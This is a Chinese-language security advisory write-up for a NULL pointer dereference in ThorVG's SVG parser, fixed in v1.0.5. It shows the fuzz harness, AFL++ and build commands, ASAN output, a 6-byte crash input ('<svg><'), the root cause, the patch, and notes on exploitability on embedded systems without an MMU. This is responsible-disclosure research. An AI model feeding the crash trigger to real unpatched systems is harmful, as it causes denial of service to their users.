严重程度: CVSS 4.3(中等) — CWE-476
安全公告: GHSA-f863-8ghq-7h64
已修复版本: ThorVG v1.0.5
状态: 已修补 / 已公开披露
ThorVG 的 SVG 解析器在处理根 <svg> 节点内部截断的子元素标签时,解引用了一个从未初始化的指针。此漏洞可通过正常的渲染路径(tvg::Picture::load → 解析 → 渲染)触发,且只需 6 字节 的输入即可触发。
在标准 Linux 系统上,最坏情况是进程崩溃(DoS)—— mmap_min_addr 阻止了 NULL 页的映射,因此该故障在该环境下无法直接利用实现代码执行。在 ThorVG 也使用的无 MMU 目标平台(如 Tizen、基于 LVGL 的固件)上,可利用性情况不同,需要更仔细地审视。
ThorVG 是一个用 C++17 编写的跨平台矢量图形引擎。它是 三星 Tizen OS 的默认 SVG/Lottie 渲染器,集成在 LVGL(广泛用于嵌入式/IoT 用户界面)中,并以独立库的形式在多个平台上分发。
该库处理不受信任的 SVG/JSON 输入,并且通常在没有权限隔离的环境中暴露。图形库中的解析器代码历来是内存安全漏洞的可靠来源——ThorVG 正在积极开发中,在本研究进行时,其公开的错误追踪器中没有记录的模糊测试覆盖。
测试束封装了 ThorVG 的内存加载 API,使得 AFL++ 可以直接驱动解析器,无需磁盘 I/O。
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
使用 ASAN + 覆盖率工具构建:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
从随机字节开始对于格式敏感的解析器来说效果很差。我使用一组结构上有效的最小 SVG 文件作为种子语料库,涵盖:
<svg xmlns="..."/>)<rect>、<circle>、<path>)<g> 分组的 SVG<use> xlink 引用的 SVG结构感知的种子将首次发现感兴趣路径的时间从数小时缩短到在我环境中不到 20 分钟。
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — AFL++ 令牌字典,包含 SVG 关键字,有助于向有效标签名称方向变异。
-m none — ASAN 影子内存需要禁用 AFL++ 的内存限制。
AFL++ 在约 3 小时 的单核模糊测试后产生了崩溃。初始崩溃输入约为 180 字节。ASAN 输出:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
故障源于通过 _parseStyle 中未初始化(NULL)的 SvgNode* 指针进行读取。该指针本应在 _createElement 处理子元素时设置,但截断的标签名称导致元素被跳过,指针未被赋值,而 _parseStyle 仍继续解引用它。
首先使用 afl-tmin 进行最小化,然后手动裁剪:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
经过 afl-tmin 后,输入为 14 字节。手动检查解析路径后发现,在触发故障之前只消耗了前 6 个字节:
<svg><
<svg> 打开根节点。< 开始一个子元素标签。解析器读取标签名,得到空字符串(输入在 < 后立即结束),跳过元素创建,然后落入 _parseStyle,此时节点指针仍为 NULL。
确认 6 字节触发器可复现:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# 或者
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
易受攻击路径的简化伪代码:
// 当标签名为空时,_createElement 返回 nullptr
SvgNode* node = _createElement(tagName); // tagName == "" → 返回 nullptr
// 未进行 NULL 检查就传递给样式解析器
_parseStyle(node, attributes); // ← 在偏移量 0x18 处解引用 node->style
v1.0.5 中的修复在元素分发循环中添加了一个提前返回,当 _createElement 返回 nullptr 时,跳过任何属性/样式处理。
在现代发行版中,/proc/sys/vm/mmap_min_addr 通常设置为 65536。NULL 页未映射,因此 CPU 引发 SIGSEGV,内核将其转换为进程信号——结果是 崩溃(DoS)。无受控写入,无 PC 控制,无法直接用于代码执行。
ThorVG 是 Tizen(三星 IoT/可穿戴操作系统)中的一等公民,并集成到 LVGL 中,后者运行在微控制器和无 MMU 的系统上。
在无 MMU 系统上,没有内存保护,mmap_min_addr 不适用。如果 NULL 页已映射(在裸机嵌入式环境中很常见),则空指针解引用可能指向受攻击者控制的内存。在真实攻击中是否可触及取决于攻击面——Tizen 设备上的 ThorVG 可能解析来自不受信任的网络源或用户提供内容的 SVG。
即使这是一个 CVSS 中等严重性的发现,这也说明了负责任披露的合理性。
补丁在 SVG 元素分发循环中添加了 NULL 保护:
// 之前(易受攻击)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // 无条件
// 之后(v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // 如果元素未创建则跳过
_parseStyle(node, attrs);
完整差异:ThorVG v1.0.5 发布
# 从源码构建,使用 ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <v1.0.5 之前的易受攻击标签>
meson setup build -Db_sanitize=address && ninja -C build
# 针对构建的库编译测试束
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# 触发
printf '<svg><' | ./fuzz_thorvg /dev/stdin
预期输出:ASAN 报告,包含在 tvg::SvgParser::_parseStyle 中的 SEGV on unknown address 0x000000000000。
由 yeahhbean (이예빈) 通过 AFL++ 覆盖率引导模糊测试,结合结构化 SVG 种子语料库发现。
| 日期 | 事件 |
|---|
| 2026-xx-xx | 通过 AFL++ 发现崩溃 |
| 2026-xx-xx | 在 ASAN 下确认根因;生成 6 字节 PoC |
| 2026-xx-xx | 通过 GitHub 安全公告向 ThorVG 维护者 (hermet) 发送私有报告 |
| 2026-xx-xx | 维护者确认并打开私有分支 |
| 2026-xx-xx | 修补程序合并到 v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 发布;分配 CVE-2026-45729 |